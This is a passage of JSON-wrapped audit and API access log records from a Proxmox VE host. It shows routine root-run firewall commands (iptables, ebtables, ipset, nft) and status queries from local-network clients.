ppid=1156 pid=57335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135594,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.594:68599): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965410673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781964525250,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.250:61394): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966135567,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.567:68596): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964820764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964820.764:62773): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965498.234:65873): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955f30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.501:59700): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135584,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.584:68598): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965410673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964525243,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.243:61393): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966135560,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.560:68594): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964816092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.092:62766): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe2d706700 a1=583a33e243d0 a2=583a33e02680 a3=5 items=1 ppid=60219 pid=60220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965498.221:65871): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955e70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125498,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.498:59699): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=588ba342d740 items=0 ppid=1156 pid=57333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966135575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.575:68597): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965409681,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964525237,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.237:61392): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966135554,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.554:68593): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964816010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.010:62748): arch=c000003e syscall=59 success=no exit=-2 a0=7fff85b24a30 a1=5f5aaad58410 a2=5f5aaad36680 a3=5 items=1 ppid=60200 pid=60201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965498.221:65870): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955e70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.496:59698): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc146840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.567:68596): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965409681,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964525233,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.233:61391): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966135548,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.548:68592): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964815754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.754:62740): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.800:65866): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcd76b6290 a1=5b57379ad310 a2=5b57379a6680 a3=5 items=1 ppid=63262 pid=63263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125491,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.491:59697): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f08a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.563:68595): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60155dec0740 items=0 ppid=1156 pid=65869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965408682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964525230,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.230:61390): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966135542,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.542:68591): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964815754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.754:62739): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.712:65848): arch=c000003e syscall=59 success=no exit=-2 a0=7ffca1e9e500 a1=6189bf2feb00 a2=6189bf2e1680 a3=5 items=1 ppid=63243 pid=63244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.485:59696): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135560,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.560:68594): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ece90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965408682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964525229,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.229:61389): argc=1 a0=\"date\""} {"@timestamp":1781966135536,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.536:68590): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964815740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.740:62737): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965493.210:65838): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955db0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.479:59695): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f23c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.554:68593): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecdb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965408682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964525225,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.225:61387): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966135531,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.531:68589): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964815740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.740:62736): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965493.210:65837): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955db0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.474:59694): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57329 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.548:68592): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc137c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965406650,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964525218,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.218:61386): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966135526,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.526:68588): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964810734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964810.734:62732): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965493.193:65835): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125467,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.467:59693): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e1bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.542:68591): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f23b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965406650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964525213,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.213:61385): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966135522,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.522:68585): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964810734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964810.734:62731): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965493.193:65834): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.460:59692): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.536:68590): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965406650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964525208,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.208:61384): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966135515,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.515:68584): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964810718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964810.718:62729): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965488.183:65832): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.453:59691): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.531:68589): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65864 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965406650,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964525200,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.200:61383): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966135517,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.517:68583): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964810718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964810.718:62728): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965488.183:65831): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.449:59690): arch=c000003e syscall=59 success=yes exit=0 a0=5c6454b3ed70 a1=5c6454b4af80 a2=5c6454b18680 a3=5 items=2 ppid=57319 pid=57325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.526:68588): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965404116,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 905"} {"@timestamp":1781964525194,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.194:61382): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966135511,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.511:68580): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964805961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.961:62724): arch=c000003e syscall=59 success=no exit=-2 a0=7fff6b471050 a1=64c2c982c390 a2=64c2c980a680 a3=5 items=1 ppid=60179 pid=60180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965488.177:65829): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 